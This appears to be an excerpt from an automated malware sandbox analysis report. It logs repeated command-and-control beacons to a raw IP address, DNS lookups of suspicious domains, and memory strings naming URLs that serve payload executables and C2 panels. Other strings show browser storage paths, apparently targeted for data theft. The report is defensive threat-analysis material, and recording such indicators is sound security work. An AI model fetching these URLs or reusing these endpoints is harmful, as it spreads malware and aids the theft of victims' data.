Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40

Source: see.exe, 0000001C.00000002.3876408152.0000000002776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: #www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: Z73fDV6g4L.exe, 00000009.00000002.2110715381.0000000002EE5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000025.00000002.4024278753.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $]q3IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\]q equals www.youtube.com (Youtube)
Source: see.exe, 0000001C.00000002.3876408152.0000000002776000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 3IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: Z73fDV6g4L.exe, 00000009.00000002.2110715381.0000000002EE5000.00000004.00000800.00020000.00000000.sdmp, see.exe, 0000001C.00000002.3876408152.0000000002776000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000025.00000002.4024278753.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: Z73fDV6g4L.exe, 00000009.00000002.2110715381.0000000002EE5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000025.00000002.4024278753.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\]q equals www.youtube.com (Youtube)
Source: Z73fDV6g4L.exe, 00000009.00000002.2110715381.0000000002EE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb`,]q equals www.youtube.com (Youtube)
Source: Z73fDV6g4L.exe, 00000009.00000002.2110715381.0000000002EE5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000025.00000002.4024278753.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `,]q#www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: bflow-musico.fun
Source: global traffic	DNS traffic detected: DNS query: foodbook.live
Source: global traffic	DNS traffic detected: DNS query: tmpfiles.org
Source: global traffic	DNS traffic detected: DNS query: api.proxyscrape.com

Source: unknown

HTTP traffic detected: POST /Annie%20E.%20Vinton%20Elementary%20School?heajhvyh=HhGyJapR6QHO0GNqPiJwFkKrnpbzuRzpMpICBW59RiiZWn5BOMbrxA80cyNHFH6KB%2FS9qBjCCf9IE8dNPX1TZw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.Content-Length: 96Host: bflow-musico.fun

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Jul 2024 05:07:18 GMTServer: ApacheVary: Accept-EncodingConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbidden Content-Type: text/plain; charset=utf-8Proxy-Authenticate: Basic realm=""errorMsg: Unsupported protocoData Raw: Data Ascii:

Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Freshbuild.exe
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp, Hkbsse.exe, 00000017.00000002.4452507884.000000000093C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Mb3GvQs8/index.php
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Mb3GvQs8/index.php;
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Mb3GvQs8/index.phpQ
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Mb3GvQs8/index.phpV
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Mb3GvQs8/index.phpX
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Mb3GvQs8/index.phpcatek
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Mb3GvQs8/index.phpcoded
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Mb3GvQs8/index.phpcodedQ
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Mb3GvQs8/index.phpd
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Mb3GvQs8/index.phpded
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Mb3GvQs8/index.phpff913c5fc0b879a0d56e06
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Mb3GvQs8/index.phpium
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Mb3GvQs8/index.phpom1
Source: Hkbsse.exe, 00000017.00000002.4452507884.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.116/Mb3GvQs8/index.phpq
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.216.214.217/cdn-directory/gold543.exe
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.216.214.217/cdn-directory/gold543.exe8
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.216.214.217/cdn-directory/see.exe6
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.216.214.217/cdn-directory/see.exez
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.216.214.217/cdn-directory/wev233v22.exe
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.216.214.217/cdn-directory/wev233v22.exe.
Source: axplong.exe, 00000002.00000002.4458206583.000000000164B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.216.214.217/cdn-directory/wev233v22.exeOH
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.216.214.217/cdn-directory/wev233v22.exev
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://43.153.49.49:8888/down/1qWbf4Bsej2u.exe
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://43.153.49.49:8888/down/1qWbf4Bsej2u.exe2
Source: espartu.exe, 00000022.00000003.4102237144.0000000003A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.
Source: espartu.exe, 00000022.00000002.4454469033.00000000011A8000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000022.00000003.4110786691.0000000003A48000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000022.00000003.4047695499.0000000003A49000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000022.00000003.4065221598.0000000003A48000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000022.00000003.4056648030.0000000003A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828
Source: axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/ZharkBOT.exe
Source: axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953692208.00000000013D1000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/ZharkBOT.exelw
Source: axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953692208.00000000013D1000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/ZharkBOT.exevw
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/hello.exe
Source: axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000022.00000002.4454469033.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/see.exe
Source: espartu.exe, 00000022.00000002.4454469033.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/see.exe9de
Source: espartu.exe, 00000022.00000002.4454469033.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/see.exeOpiumEd1
Source: espartu.exe, 00000022.00000002.4454469033.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/see.exelP
Source: espartu.exe, 00000022.00000002.4454469033.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/see.exerP
Source: espartu.exe, 00000022.00000002.4454469033.0000000001157000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000022.00000002.4453169253.0000000000F7A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/svchost.exe
Source: espartu.exe, 00000022.00000002.4454469033.0000000001157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/svchost.exe#1
Source: espartu.exe, 00000022.00000002.4454469033.0000000001157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/svchost.exe:
Source: espartu.exe, 00000022.00000002.4454469033.0000000001157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/svchost.exeB
Source: espartu.exe, 00000022.00000002.4454469033.0000000001157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/svchost.exer
Source: espartu.exe, 00000022.00000002.4454469033.0000000001157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110/large/svchost.exet
Source: espartu.exe, 00000022.00000002.4454469033.0000000001157000.00000004.00000020.00020000.00000000.sdmp, espartu.exe, 00000022.00000002.4453169253.0000000000F7A000.00000004.00000010.00020000.00000000.sdmp, espartu.exe, 00000022.00000002.4454469033.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110:80/2v98n72/api.php
Source: espartu.exe, 00000022.00000002.4454469033.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110:80/2v98n72/api.php-M
Source: espartu.exe, 00000022.00000002.4454469033.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110:80/2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6
Source: espartu.exe, 00000022.00000002.4453169253.0000000000F7A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://77.232.41.110:80/2v98n72/api.phpOK0
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/0
Source: axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4458206583.00000000015EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.php
Source: axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.php&xI
Source: axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.php00241001
Source: axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.php2
Source: axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953692208.00000000013D1000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.php4
Source: axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.php43001
Source: axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.php9
